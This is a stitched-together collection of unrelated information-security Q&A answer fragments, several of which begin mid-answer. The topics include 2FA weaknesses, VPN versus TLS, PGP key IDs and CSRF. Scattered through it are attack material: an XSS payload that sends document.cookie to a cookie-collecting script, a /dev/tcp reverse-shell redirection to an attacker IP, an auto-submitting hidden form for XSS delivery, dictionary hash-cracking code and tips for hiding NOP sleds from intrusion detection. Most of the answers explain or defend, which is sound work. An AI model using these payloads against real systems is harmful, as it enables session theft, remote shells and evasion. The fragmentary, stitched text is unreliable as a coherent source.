While you can block connections attempts with a packet filter in front of the affected router you disable the remote management interface this way which might cause problems for your ISP and thus for your connectivity. Same is if you would just move the service to another port unknown to the ISP.


Here's some scenarios where Google's 2FA implementation might be compromised:

App specific passwords do not require 2FA even if 2FA is enabled on the account. Therefore a malicious App which has been provided an App specific password can perform actions without your knowledge.
On Android the Authenticator App does not contain an internal QR code reader, instead it creates an implicit Intent and allows any App with an appropriate Intent filter to receive the intent. This App could be malicious or act as a MITM to a legitimate QR code reader.
2FA is not entirely immune to phishing. If an attacker can convince you to enter both your password and a valid 2FA pin then they can potentially log in then create an App specific password to use as a back door.
There is an option to receive 2FA codes via phone call. The phone call can potentially go to voicemail which is notoriously insecure.
An attacker can also use SMS and it's relatively sneaky to slip permissions to access SMS past users on Android in particular.


What would be the most efficient way of brute forcing a wifi key

Brute force is brute force

By definition, "brute forcing" a password or key involves trying every single combination of characters until you find the one that works.

There are differences in strategy which might be faster: for example if attacking a specific ISP's router you may know that they always assign 8 character upper-case-and-numeric passwords, which leaves you with a smaller sub-set of possible keys.

But there's no guarantee that the key hasn't been changed to use a different approach - for example I routinely change my WiFi passwords to a longer, more complex password - in which case you won't even know that your strategy is wrong until you've tested every combination in your strategy. At which point you'd then have to revert to a full brute force approach.

Similarly you can attempt to use a dictionary attack, if you expect the key to be a word (or combination of words, or bastardization of words, for example P4$$W0rD!), but again there's no guarantee that the password has been changed to use this scheme, and the only way to be sure is to test.

And finally if your basic strategies fail, you're back to trying to crack all the possible combinations... which is a number bigger than I can be bothered trying to remember the word for.

In short

There is no "efficient" way to crack a password - there are a few ways that may be efficient if the password is insufficiently complex to be secure, or follows a simple strategy - but they only work if you (the cracker) pick the correct strategy. If not, you're actually being more inefficient.


Can your Windows or Linux username be exposed to websites?

The username is not commonly exposed to websites. Perhaps it can be done with Java in some way, but not by the browser by default. Note that I mean Oracle's Java, not Javascript!

Some websites use Active Directory authentication. If you visit one with Internet Explorer that runs in the same Windows domain as your computer is in, you'll automatically be logged in. This uses some form of HTTP-level authentication and transmits your domain, username and the computer's hostname. Your password is not transmitted; the browser only answers a challenge from the server and proves its identity that way.

Internet Explorer only sends this info (username, domain and hostname) after the server has sent a challenge as well as the domain, and the domain matches the client's domain. For example if the server advertises that it is running domain Contoso and the user is also logged in to the domain Contoso, then Internet Explorer will proceed with authentication and provide a username, domain, hostname and challenge response, where the challenge response is a password substitute.

If the domain does not match, for example the server advertises to belong to Contoso2, the user will be prompted for credentials (username and password). If the users enters these credentials, the username will of course be sent to the server, together with your hostname. The password is still confirmed by a challenge, this is never sent. Note that even if you enter a blank username and password, your hostname will still be exposed! The only safe exit is the cancel button.

The only way to retrieve the username automatically, as far as I've been able to find, is by knowing the domain that the user is logged in at, and having the user use Internet Explorer. I suppose the domain name is often guessable, so high-profile targeted phishing might be possible. Then again, you can never retrieve the user's password automatically, merely the username and hostname, so I'm not sure how useful this is. Perhaps to make a targeted phishing attack even more personal.

Another method to obtain the username is by this ActiveX control:

<script type="text/javascript">
alert(new ActiveXObject("WScript.Network").UserName);
</script>

Testing this in Internet Explorer 9, it gives two warnings. First of all a warning on the bottom of the screen that asks whether I want to activate ActiveX components on the page, and a second warning asks whether I'm really sure because it might be harmful. With some social engineering you might trigger the username this way... but there are probably easier ways.

Other browsers such as Firefox always prompt for a username and password when visiting such websites. I think this data is sent unencrypted, but I haven't looked that up. Best is to always use transport layer security (e.g. https) when performing any sort of authentication. But this kind of authentication is not automatic, so probably not relevant for your question.

Update: Something I forgot to address that you asked was whether the username can be exposed when selecting files with the input type=file element. In short: no. Older browsers might do this, but in recent versions of Chrome, Firefox and IE9 I've tested it and none of them expose the full path. In Firefox you might notice the mozFullPath property, but this returns an empty string when Javascript tries to access it. Only code with special privileges (I imagine such as add-ons) can use this. Also the HTML5 file API specification mentions the word "path" only once, to tell that it should not be exposed.

Disclaimer: Much of the Active Directory stuff was simply tested, there might be mistakes. I have two domains here so that makes it easy to see the behavior with Wireshark when you log into either the own or the other domain. I used IE9 for the client, and Windows Server 2008 for the server. I also used another test server (php) based on this script: http://siphon9.net/loune/2007/10/simple-lightweight-ntlm-in-php/


Unable to steal cookie in my reflected XSS vulnerable app

I have seen in Firebug that the GET request's sent payload was the following:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27+document.cookie;%3C/script%3E

So the + character was not being URL encoding. I have encoded it: %2B resulting the payload the following:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27%2Bdocument.cookie;%3C/script%3E


AES is a standard for encrypting/decrypting data. It doesn't specify how folders and files will be represented after encrypting them, so different crypto software may represent folders differently and is entirely up to the software you use to decide how to do it.

One method of how a crypto software will represent folders inside a single encrypted file would be a file achiever i.e. tarball format (.tar), it could also be combined with gzip to compress the archive before encrypting it.

I'm not saying crypto software does this, just that this is ONE method for how a crypto software 'could' represent files/folders if that what you're asking and has nothing to do with AES itself.


Should http basic auth passwords be stored hashed serverside?

Passwords in general should be stored hashed on the server, no matter if they are transferred within some HTTP POST body as a result of a form submit or if they are transferred in the HTTP header as in Basic authentication.


Why does OpenVPN require securely sharing certs with clients?

Let's look at a breakdown of all the files, whether they're sensitive, and where they came from.

/etc/openvpn/ca.crt

Publicly disposable, this is the certificate for your VPN's certificate authority. It can be shared with anybody and allows the client to verify the VPN server.

/etc/openvpn/easy-rsa/keys/hostname.crt

This is a certificate identifying the client. It was signed by the client's private key and then that was signed by the CA's key.

/etc/openvpn/easy-rsa/keys/hostname.key

This is the client's private key. In the documentation you're looking at, it was generated on the server for convenience so that the client certificate could be signed by the key there and then signed by the CA key. The private key could be generated and kept on the client without the server ever seeing it, but that would make the process a lot more complex. If you're interested, do some Googling or open another question creating a private CA -- it's a whole other department.

/etc/openvpn/ta.key

This one is a bit special, so I'll just paste some related I found at http://openvpn.net/index.php/open-source/documentation/howto.html:

  tls-auth

  The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. It can protect against:

  DoS attacks or port flooding on the OpenVPN UDP port.
  Port scanning to determine which server UDP ports are in a listening state.
  Buffer overflow vulnerabilities in the SSL/TLS implementation.
  SSL/TLS handshake initiations from unauthorized machines (while such handshakes would ultimately fail to authenticate, tls-auth can cut them off at a much earlier point).

  Using tls-auth requires that you generate a shared-secret key that is used in addition to the standard RSA certificate/key:

  openvpn --genkey --secret ta.key

Summary

Yes, it is possible to share everything necessary in the clear except for ta.key if you generate the client's key locally and have a good method of verifying that you used the right keys. The system can be secure without ta.key -- it's just an extra measure to limit outsiders. That said, it's a really good measure.


How can user credetials be leveraged when doing a penetration test for a Windows network?

It looks like user-level passwords in this scenario will be of limited benefit to login to AD-controlled assets. The one thing that might be beneficial is the possibility of re-used passwords for other assets.

You haven't given a lot of detail, but if you can connect to the mail system, you can set up social engineering attacks, or look through user's mail to see if there is other data that you could use.

Otherwise, you need to find admin-level creds. Use what you've got to get you to the brass ring.


Does TLS hash passwords before encrypting?

If you connect to the server via TLS, then all your communication, including your credentials, will be encrypted.

Once the server has received them, the server will decrypt your credentials, then hash them, and then compare that hash to what is stored on the server. If it matches, you will receive some authentication token to indicate you are authenticated. If it does not match, you will receive an error.


GPRS does not provide strong protection of the data.  There is some cryptography applied on the wireless link between the mobile device and base station, but this cryptography has significant problems (see research on GSM and more research).  Also, once the data reaches the core network, the data is transmitted in the clear, unencrypted, for the rest of the way.

Consequently, I recommend that you set up a VPN and tunnel all your traffic over the VPN.  IPSec is a good tool here.


Learning how to code advanced Windows malware

Would you like a manual on how to make rootkits, bootkits, web injections, formgrabbers and inject into other processes?

It's probably not all gonna fit here. I would suggest narrowing your question so we can provide you with technical information.

Otherwise, getting good at the internals of the OS you're trying to infect really is the only advice we can give. https://www.reddit.com/r/Malware/ is also a very broad resource where you can dig around all types of malware analysis blogposts.


What does TLS do?
From wikipedia/HTTPS:

The principal motivations for HTTPS are authentication of the accessed website, and protection of the privacy and integrity of the exchanged data while in transit. It protects against man-in-the-middle attacks, and the bidirectional encryption of communications between a client and server protects the communications against eavesdropping and tampering.

So the primary purpose of HTTPS is to protect your personal data.
What does a VPN do?
From wikipedia/VPN:

A virtual private network (VPN) extends a private network across a public network and enables users to send and receive data across shared or public networks as if their computing devices were directly connected to the private network.
...
VPN technology was developed to provide access to corporate applications and resources to remote or mobile users, and to branch offices.
...
Internet users may secure their connections with a VPN to circumvent geo-blocking and censorship or to connect to proxy servers to protect personal identity and location to stay anonymous on the Internet.

So the primary purpose of a VPN is to connect to your company's network when you're out of the building. There is a secondary usage of VPNs to protect your anonymity (specifically your IP address) when accessing public websites.

Your questions:

The main kind of attack I am concerned about is having any secure information (such as passwords, bank details, mobile number etc...) I send to a website being intercepted by a "middle-man". Privacy is not as important an issue (e.g: can people see domains I visit).

You want the thing that HTTPS is good at. You are not interested in the thing that VPNs are good at. Sounds like there's no reason for you to use a VPN :)


When an HTTP client (say, a Web browser) talks to an HTTP server (a Web server), it sends requests which can be of several types, the two main being GET and POST. A GET request is what is used for "normal links", including images; such requests are meant to retrieve a static piece of data, the URL pointing to that piece of data. When you enter a URL in the URL bar, a GET is also done.

POST requests are used with forms. A POST request includes parameters, which are usually taken from the input fields on the same page.

When flooding, the attacker wants to submerge the target server under many requests, so as to saturate its computing resources. Flooding works best when the server allocates a lot of resources in response to a single request. Since POST requests include parameters, they usually trigger relatively complex processing on the server (e.g. database accesses), which are more expensive for the server than serving a much simpler GET. Thus, POST-based flooding tends to be more effective than GET-based flooding (it takes fewer requests to drown the server if the requests are POST). On the other hand, GET requests being much more common, it is often way easier for the attacker to enlist (involuntary) help in his flooding effort when GET-flooding (as @Rory says, it only takes a link for an inline image on a popular site, and everybody who browses that site automatically sends a GET request to the target server).

(Of course, any particular Web site could do a lot of complex processing on some specific GET requests; I am only discussing average behaviour here.)


Dedicated Server in Cloud Environment - SSL Remote Login vs Dedicated VPN

The risk of keeping that port open was demonstrated with the recent MS12-020 security bulletin. The exploit here attacks the service itself which is very serious. RDP has stood up well to attacks so far because once you login you have a new session initialized under that user. A strong password is usually enough.

But in this case, the service itself was attacked which gives the exploit code very privileged access. So I would restrict IP addresses as much as possible. If that just doesn't work, at least using a non-standard port would help.

You may want to consider using OpenSSH or OpenVPN as alternative access methods.


Is it ok to use digital signatures as the mechanism for account verification emails?

You're mentioning encrypting the email and digitally signing it. These are two different things which, although they both can be used in your case, have different practical outcome: by using encryption, you're hiding the encrypted data from view (the email address).

That being said, in theory, your scheme should work fine. In practice, however, i would shy away from such a scheme:

Most public key encryption (or digital signature) algorythm  generates big results: too big to comfortably fit in a query string. Or rather, it might fit in the maximum size allowed by most browsers but probably not in a single line of an email which will be inconvenient for your users.
Your scheme creates a single point of vulnerability: once the private key is compromised, all future transactions are tainted. If you use the regular "random key in a DB table" approach instead, you do not have this single point of failure: an attacker would need to compromised the existing DB to crack the system.
Your scheme is trading a trading a bit of DB space for a quite a lot of complexity in your code, increasing the attack surface and, potentially, leaving you vulnerable to a DOS (since public key validation is quite not exactly as cheap in CPU and memory as a DB lookup).

So, unless there is a real business case for it (for instance, if there is a strong need to be able to validate a query without reaching the database), I suggest you use the more common approach.

I'd like to add: generally speaking, I like to stick to the KISS principle with my software. Given two ways of achieving the same result, I try to stick to the one that requires the less code.


Is it okay to sign a PGP key without an IRL meeting?

In the end, you can sign whoever you want to. There's nobody to control you and nothing to check what you're doing (and how you're doing it).

I would consider signing a well-known (to me) person's key valid, if I can be sure I'm receiving his key untampered over a secure channel. If you're totally sure to be able to recognize his voice or make some other check it's the right person (eg. by asking questions only he is able to answer on the phone), I'd be fine with signing a key this person sends me over this established trustworthy connection (eg. by speaking it into the phone). I'd not be fine with signing a key found on a keyserver (everybody can upload keys for arbitrary UIDs, have a look at all the president's keys) or received in an unsigned (without a signature by another already trusted key) e-mail.

Trust in Identity

When you give a "sig3" on your friend's key by using the gpg sign command, you certify you're (pretty) sure he really is the person he pretends to be using his UIDs. When the Debian maintainer signs your key, he's certifying that you are the person you're pretending to be.

That's all for now. Neither you nor the Debian maintainer made any statement on whether they trust in your capabilities (or your friend's) to carefully perform key signings.

The signing policy you mentioned can help others to decide on how they put trust in the signatures you issued.

Trust in the Person's Capabilities and Motives ("Vouching")

If you're sure that your friend is capable of reliably signing other keys, you can put another kind of trust on his key using gpg trust. Using this, you can order GnuPG to regard the signatures issued by your friend as if they're issued by yourself.

This information is only valid for yourself; it is neither included in keyservers nor otherwise exported keys:

  A key's trust level is something that you alone assign to the key, and it is considered private information. It is not packaged with the key when it is exported; it is even stored separately from your keyrings in a separate database. (from the GnuPG manual)

Having (multiple) trust paths ("identity signatures", the kind of trust I explained first in this answer) to some unknown can be read as hint everything should be fine, but remember you're trusting everybody in the trust chain right now. Most of the people are honest and well-capable of performing valid signatures, but haven't you ever been perceived by somebody you wouldn't have expected it of? If somebody really has a reason to fraud you, he might be able to somehow get a chain of trust on some weird paths.

There is an excellent article about trust in OpenPGP: There's Trust and Then There's Trust and Then There's Trust.


Probably not the place for this question. Since it's a Info Security thing, but good that you're trying.

The FileNotFound error is basically saying that there is no File to be found. Python is looking for the dictionary.txt file in the C:/Users/kiran/AppData/Local/Programs/Python/Python37/Codes/ directory, and couldn't find it.

On a 'not so infosec' note, you should have a return statement within the if block, but not in the for block. That way, the program stops after a hash is found. The way your code is written, the program will terminate after the first iteration of the for loop.

def main():
    with open(dict_file) as fileobj:
        for line in fileobj:
            line = line.strip()
            if hashlib.sha1(line).hexdigest() == hash_to_crack:
                print ("Successfully cracked the hash %s: It is %s") % (hash_to_crack, line);
                return  # returns after a hash is foud

    print ("Failed to crack the file.")
    return  # returns if all hashes in dictionary.txt is exhausted


Short OpenPGP key IDs are insecure, how to configure GnuPG to use long key IDs instead?

How the Fingerprint and Long and Short Key IDs are Related

Each OpenPGP key has a fingerprint attached, calculated mainly from its public key packet which also contains the creation time. The calculation is defined in RFC 4880, OpenPGP, 12.2. Key IDs and Fingerprints.

There are short and long key IDs, which resemble the lower 32 respective 64 bits of the fingerprint. For example, looking at the IDs of my OpenPGP key:

fingerprint: 0D69 E11F 12BD BA07 7B37  26AB 4E1F 799A A4FF 2279
long id:                                    4E1F 799A A4FF 2279
short id:                                             A4FF 2279

Fingerprints and key IDs are used, as sharing and comparing a whole key with usually 1024 to 8096 bits (adding some more for headers like the creation date) is very impractical.

Using Long Key IDs

Whenever specifying OpenPGP keys, you can not only pass short key IDs, but also long key IDs and even whole fingerprints. Instead of passing the short key ID

gpg --recv-keys A4FF2279

you can always write the long key ID

gpg --recv-keys 4E1F799AA4FF2279

or even the full fingerprint (recommended for scripting and similar purpose)

gpg --recv-keys 0D69E11F12BDBA077B3726AB4E1F799AA4FF2279

Printing Long Key IDs

But where to take the long key ID from? If anybody passed his short ID, you cannot do anything but trying to fetch all keys for that ID, and see if there is a collision (and hope nobody is hiding the real key from you, and only passing the faked one).

So whenever handing over your OpenPGP key ID, announce the long ID! You can easily make GnuPG printing this one by adding the --keyid-format long option:

gpg --keyid-format long --list-keys email@jenserat.de

This option takes values short or 0xshort for short key IDs (without or with 0x prefixed to indicate that it is a hex number) and long or 0xlong for long key IDs.

Configurating Long Key IDs as Default

To make sure GnuPG is always printing the long key ID, add the option to your ~/.gnupg/gpg.conf file stripping the --. For example, I have configured GnuPG to always print the 0x-prefixed long key ID by adding a line

keyid-format 0xlong

Printing the Fingerprint

Sadly, you cannot set GnuPG to print the whole fingerprint this way, probably because it would break GnuPG's output format for pretty much every screen size. Instead, request it by running

gpg --fingerprint 4E1F799AA4FF2279

which will dump something like

pub   8192R/0x4E1F799AA4FF2279 2012-12-25
      Key fingerprint = 0D69 E11F 12BD BA07 7B37  26AB 4E1F 799A A4FF 2279

As this has the disadvantage of containing spaces (bad thing for using it in scripting), you could use the colon-delimited machine-readable output instead:

gpg --with-colons --fingerprint 4E1F799AA4FF2279

To filter everything but the fingerprint, additionally use grep and cut:

gpg --with-colons --fingerprint 4E1F799AA4FF2279 | grep fpr | cut -d ':' -f 10


Is it safe to send verification code in the subject of the email?

Yes, this is a risk. You shouldn't send it in the subject of the email.
Think of a locked phone but you receive an email with the subject "Your code is 123456-789". That would appear on your phone's lock screen so an attacker can easily see the code (just an example here).


Windows 10: telnet - Openwall GNU/*/Linux telnetd running on an open port normal?

Your question is a little unclear (and I don't have the reputation required for comments) so I'll assume that what you're referring to is having scanned your default gateway IP Address from inside your local network.

If that is the case then what you are seeing is likely just a telnet service which can be used to manage your router and this on its own would not be cause for concern, as it's a common port used for that purpose.

The reference to openwall will be based on the banner returned by the service when zenmap connected to it.  you can test this by using a telnet client and connecting to your gateway IP address.

As the comments have noted, whilst openwall does product the john password cracking software, it does also produce linux software called OwL http://www.openwall.com/Owl/ which includes a telnet server.

One other point is that if you need to adminster your router/modem you should ideally use SSH rather than telnet......


IDSs will look for nop sleds, but they can also be masked.  Consider that any instruction that is:

Valid and executable
Will continue execution somewhere in the nop sled between itself and the payload
Doesn't affect any critical registers (stack pointer)

Is valid for our purpose.  As long as any sequence of instructions in the sled is a valid starting point (which will end up at our payload), we will have an error-free sled.  If we are okay with it not being 100%, we can be even more creative with our sled.

Check out the nop generators available for metasploit for some ideas on how you can make it, at the very least, expensive for IDS to detect sleds.


The code example, you gave is a cross site scripting vulnerability, because it allows the execution of arbitrary JavaScript, assuming "a" is untrusted:

a = "\"); evil(); document.write(\""

A malicious site can use an iframe to exploit a vulnerable site via CSRF:

In a typical CSRF attack, the browser is tricked by a malicious site to submit a request to a vulnerable site. The browser will include the cookies for that site, thus the request is authenticated from the point of view of the vulnerable site.

While there is a number of ways to trigger GET-request, cross site POST request are usually created by submitting a form. While JavaScript can be used to trigger the submission automatically, it cannot be used to hide the result page. So on a simple POST-based CSRF-attack the user will be warned after the fact.

So the trick is to put the malicious auto-submitting form into an invisible IFrame. Therefore the user will not see the webpage showing the submission result.

A related attack is click-jacking: The vulnerable site (e. g. Facebook's like-button) is loaded into a transparent iframe and JavaScript is used to scroll it to the appropriate location and keep it positioned at the mouse cursor. If the user tries to click on anything on the malicious site, it will click on the transparent iframe instead.


Why does Chrome tell me that the CSP 'require-sri-for' directive is implemented behind a flag which is currently disabled?

Chrome tells you it knows the directive but the browser is currently configured to ignore it, no matter if it would be applied or not.

SRI (Subresource Integrity), as a W3C Recommendation, is from June 2016 but require-sri-for, the Content Security Policy directive, was introduced later in Editor's Draft in August 2016. Drafts are provided for discussion only and may change at any moment. And such experimental features are usually not enabled by default to make room for changes in the implementation, specification, or both.

Whenever Chrome spots the directive in a policy, it will first check whether experimental features are enabled, and will parse the directive and it's value if yes. If experimental features are not enabled it will log the message you're seeing:

  The Content-Security-Policy directive 'require-sri-for' is implemented behind a flag which is currently disabled.

It will report the message even if scripts would be later disabled with script-src 'none', the message is logged into the console early when parsing the directive. You can see it in the source code in the CSPDirectiveList::AddDirective method.

To make the message go away you have two options:

Enable #enable-experimental-web-platform-features in chrome://flags/ (copy this chrome://flags/#enable-experimental-web-platform-features and paste it to your Chrome, restart the browser), and test your policy so that you're ready when require-sri-for gets shipped, however this will make the message go away just for and a very small percentage of users who enabled experimental features in their browsers
Remove require-sri-for from your policy, for example if you don't need it because you're using script-src 'none', and add it back later once you'd like to verify scripts
Wait until Chrome enables the feature for everybody, until then users will see the message in the console even if you're not verifying integrity of loaded scripts

I personally go with option 3, but I've temporarily enabled the flag to see whether the site would work once require-sri-for would ship.


Banking: Ubuntu virtual machine and virtual keyboard, or full Ubuntu install on USB drive?

The problem, as stated, seems to boil down to the simple question: do you trust your host OS to be malware-free? If yes, then just use that for your banking. If not, then running a VM inside an infested host will not give you the level of tin-foil-hattery that you're looking for.


URL vulnerabilities can be avoided if the post method is used?

No, using POST is no defense against XSS at all.

Sure, an attacker cannot simply send you a link that contains the payload, but they can send you a link to a webpage which contains HTML/JavaScript that submits the payload.

Example:

<form method="post" action="http://yourserver.com/yourscript.php" id="myform">
    <input type="hidden" name="[XSS payload]"/>
    <input type="hidden" value="Send">
</form>
<script>
document.getElementById('myform').submit();
</script>

The attacker could also submit the form in a hidden iframe or otherwise hide the attack so that a victim doesn't notice it.

If on the other hand you have CSRF protection for your POST requests - which you should have - exploiting reflected XSS attacks via POST will get more difficult or impossible.

There are very few vulnerability classes which do get less beneficial for attacks if done via POST, Open Redirect would be an example (phishing isn't possible anymore, but CSRF protection that relies on a referer check may still be exploited in some situations).


Is there any point to opting out of interest-based ads?

Yes, there is a point.

To be clear, "opting out" merely stops the targeting of ads. It does not eliminate ads, or reduce them in number, or vastly reduce the more insidious Tracking aspect of ads. In a broader context than just Chrome, it varies by platform and ad system, but some ad networks will not collect as much information knowing that they can't target from it. So there may be a marginal privacy advantage from that.

But a very real reason to "opt out" (assuming you don't block trackers outright, which is the vastly preferred privacy solution) is: it may send a signal to the ad networks that you don't consider cross-site / cross-device targeting to be a fair trade-off for viewing the affected pages. In addition, it may even reduce the revenue to the ad networks since they can't sell presumably higher-cost more-targeted ads onto your page views. The signal plus the possibility of reduced revenue may in the long run contribute to a healthier (for users and user privacy) ad ecosystem.

But keep in mind that Blocking is the only way to get a large immediate privacy advantage over ubiquitous Tracking.


Risks of sharing multiple, old TOTP codes?

I think the general answer is "It should be ok, but TOTP wasn't designed for this so you won't get any guarantees".

If we dive into how TOTP works (general description at wikipedia, full spec in RFC 6238), the TOTP value is computed as (example, simplified)

SHA2_HMAC( secret_seed, system_time_rounded_to_30s )

Generally login servers will check all time values within a +/- 5 minute window in case the device's system clock is off (which is needed for hardware TOTP tokens like those pictured below that have no way to sync).

So your TOTP values may actually still be valid for ~ 5 minutes. Also, as @AndrolGenhald points out, they may become valid again if the server's system clock gets set back.

This question does a good job of addressing the "can the original seed be derived" part of your question, the general answer is "it shouldn't be possible as long as the shared secret_seed is 32 bytes or more".

It's also possible that the website's implementation has some edge-cases that break this general advice. For example, some websites issue account recovery codes that look like TOTP codes, but I don't know if they're actually related to your TOTP seed or not.

How many known time/result combinations does it take to guess a HOTP/TOTP secret?

Bottom line: I can't think of any attack from posting a list of expired OTP codes, but I also can't guarantee that it's safe.

If you're at a coffee shop, probably best to be careful about who can shoulder-surf your TOTP codes. If you want to post old codes online, probably best to register a new code generator and unlink the other one from your account before posting.


Use PHP to check uploaded image file for malware?

This has been answered before on this site, in extensive detail.  See these questions:

What are the security risks of letting the users upload content to my site?
Is it necessary to scan users' file uploads by antivirus?
Antivirus for scanning anonymous file uploads
What steps should be taken to validate user uploaded images within an application?
What are security risks of serving user uploaded files without Content-Disposition?
Why should I restrict the content type of files be uploaded to my site?
Is it safe to store and replay user-provided mime types?
Is it safe to serve any user uploaded file under only white-listed MIME content types?

For general advice relating to web security, OWASP is always a good resource, too.


Help! My information has been stolen! What do I do now?

How secure are my auto-saved passwords in my browser?

Terribly insecure.  These passwords are trivial to retrieve.

How secure are my passwords that have been saved in a password manager?

Not very secure at all.  If someone had root access to your computer, it's trivial to implement a key logger, or even a plugin to your browser to snarf them before they go out.

Do I really need to reset every password on every account I own?

Only the ones you care about.  I likely wouldn't reset my password to adobe.com that I had to register to just to download Adobe Reader.  But I would reset my bank and email passwords.  Email is of course used to reset passwords.  Turn on 2 factor authentication for your bank, email, and anything else that's important.  These are all judgement calls about what you consider valuable and what's an acceptable risk.  YMMV

Do I need to cancel all Credit Cards I have ever used on that computer?

Credit Cards have fraud protection built in.  I myself have had at least 3 incidents where there's been fraud on my CC accounts in the past decade.  I never paid a dime for these events, and they went away easily.  If you want to avoid the hassle of having to go through this process it's best to cancel the cards, but this is likely the least of your concerns.

What about my archived Tax Paperwork (w/ SSN & Bank Info)?

There's little you can do about your SSN.  You can change your bank account numbers relatively easily, though with some hassle.  Given the threat, I'd recommend going through the hassle.

Do I need to notify my friends to prevent them getting scammed by the attacker pretending to be me on Social Media?

If you change all the passwords on social media, change all your reset questions, and change all your email passwords, it's not terribly likely someone is going to be able to impersonate you.

What other attack vectors should be considered.

Primarily identify theft.  People applying for loans/credit cards/cell phone service, etc under your name.  This is a question in-and-of itself, that deserves another question entirely.


What you need is a slow KDF which processes a stored or memorized password and converts it into a key for decryption. The actual decryption process can proceed rapidly, as long as the key-derivation takes a long time. There are a number of algorithms that can do this, such as PBKDF2, Argon2, and scrypt. If each stored record contains its own password that must be first put through a strong KDF before the record can be decrypted, then you will be able to enforce a configurable delay to access.

I strongly suggest, however, that you contact a lawyer rather than trying to implement a technical solution yourself. There may be better legal alternatives that would allow you to get away with not storing any data. Never assume that your own interpretation of the law is the only possible interpretation.


Determing live hosts past a restrictive firewall with nmap

Have you tried using the --open option in nmap to show only open ports? It might be worth reading the nmap output man page.


Can malware attach itself to user files?

Usually a non-executable file can not contain a virus. Only executables can cause damage. But there are two cases where a non-executable document can cause the application which opens it to act as malware:

The program you open the file with has an unpatched security vulnerability which can be exploited by a specifically manipulated file to cause the program to do things it is not supposed to be doing. When a  good(!) software company gets notified that their software contains such a vulnerability, they will usually update their software to fix the problem ASAP. So this problem can usually be mitigated by making sure that all software you are using is always updated to the latest version.
The program you open the file with allows documents to include script-code which allows implementation of virus-like behavior ("macro viruses"). The Visual Basic Scripting in MS Office documents is a prime offender for this. Later versions of MS Office now ask you before executing macros. Do not allow this in files which you got from a suspicious source or from a compromised system.

Also keep in mind that executables on Windows can come with many more file extensions than just .exe. So when you aren't sure what a file extension means, do not double-click the file.


Sending a token with a request from one app to another

Sounds like you're trying to implement something like single sign-on between two of your apps. In this case, you should be able to without any significant security issue.

Instead of authenticating with login credentials, you could have App B authenticate with App A's session ID. Obviously give the ID the same protections you'd give login creds, i.e. only send it over HTTPS.

The server behind App B still has to verify the authenticity of the session ID by checking it against the server for App A. As long as the authentication done in App A and session management done in both apps is consistent and robust, there shouldn't be any security issue.


While cleaning up a hacked Wordpress site, I got access to the hacker's database. What action should I take?

I would certainly let the site owners know if possible.  This looks like a GDPR breach of the other website.  First and foremost, their breach, their primary responsibility.

You are now responsible for not allowing any personal data (if you have any) to go any further.  Although you would probably want to just delete it unless it becomes necessary for evidence.

It is worth considering if you should report to the ICO yourself, although it is not your data or a breach of your system.  Also, you are unlikely to know how serious the breach to the originating system is.

From the ICO website... (The bold text is theirs)

  If you experience a personal data breach you need to consider whether
  this poses a risk to people. You need to consider the likelihood and
  severity of the risk to people’s rights and freedoms, following the
  breach. When you’ve made this assessment, if it’s likely there will be
  a risk then you must notify the ICO; if it’s unlikely then you don’t
  have to report. You do not need to report every breach to the ICO.


No, there is no protection offered against CSRF by any browser by default. This is because the browser does not know the difference between a legitimate cross site request and an attack.

How likely - this depends if

A CSRF vulnerability exists in any of the sites you visit that you remain logged into.
A CSRF exploit for one of those sites is active on any other site you may visit.

You can protect yourself if you only log into one site at once, and clear your cookies between each (it might be better to restart your browser to make sure session cookies are cleared too, although Chrome can run in the background too so you'd need to make sure it is fully closed, and additionally Chrome can resume sessions between restarts so experiment to make sure your settings are correct to prevent this).

Also you should make sure other objects are cleared such as HTML5 local storage, and Flash and Silverlight storage. It might be easier to open a new incognito or private browsing window for each site you visit, making sure to close all tabs and windows before you visit the next site.

Both approaches will make sure that any CSRF attacks attempted while you browse the web will fail because you will not be authenticated on the target site. The only possible CSRF attack you may have to worry about is if you use any sites that use your IP address as the only means of authentication, or if you have set your browser to automatically provide a client-side certificate. Incognito mode should protect your from the latter though.


I assume you are keeping your customer data in some SQL database. It is typical for attackers to use techniques like SQL Injection to extract data from database. Since this technique doesn't need to modify any files on server you won't be able to spot this kind of attack. As I understand grabbing customer database by attacker is the scenario you are most worried about. Moreover in this case when there is a data breach it may be too late, so you should verify security of your app in the first place. You could also use WAF (i.e. ModSecurity) as detection or/and protection measure.

Monitoring system integrity is also good idea, but it is not sufficient.


Best option for DDoS protection on DigitalOcean server?

As @techraf and @josef commented, all DDoS providers have the same challenges:

To effectively identify DDoS traffic, a mitigation provider needs to be connected inside your encryption termination point, or at least be a Man In the Middle.

Your concern regarding CloudFlare is the same concern you should have with them all. If you want DDoS mitigation, you need to let the mitigation provider have access. So start considering what the risks actually are from this. And what you need to do in terms of risk mitigation - perhaps contractual terms with the provider?


Pipes are "half duplex" connections: data only flows through them in one direction (from the left-hand program to the right-hand program).  If you're using pipes to connect your shell to the network, you need two of them: one to handle input, and one to handle output.

Network connections, such as are provided by the /dev/tcp pseudo-filesystem in your second example, are bidirectional: data can flow in both directions.  The output redirection (> /dev/tcp/<attacker_ip>/<port> creates the network and hooks the shell's standard output to the connection input.  0<&1 means "connect standard input to the same place as standard output" (the network connection), and 2>&1 means "connect error output to the same place as standard output" (the network connection, again).


I would consider a 128 bits of entropy in a token to be the de-facto standard. OWASP and CWE both recommend this as a minimum. 20 characters of Base64 (capable of 120 bits) is also handy for something in the URL. I would also note that in many cases poor seeding for those tokens creates problems. For one bit of reference, see the (kind of tastelessly decorated, but very informative) slides from http://samy.pl/bh10/.

Make sure you choose your entropy source well.


This question has been answered in the comment Section, But this is a explanatory Answer for anyone who wants to look at. So, Looking at Code snippet we could actually see

$login = "SELECT fName,lName FROM great WHERE email= '$email' AND pwd = MD5('$pwd')";

As you can see on the pwd = MD5('$pwd') at the end, the Code actually takes a User Inputted Password converts it into MD5 and than compares into the Database. Now, the Plan is to breakout of the pwd in the MYSQL Query.
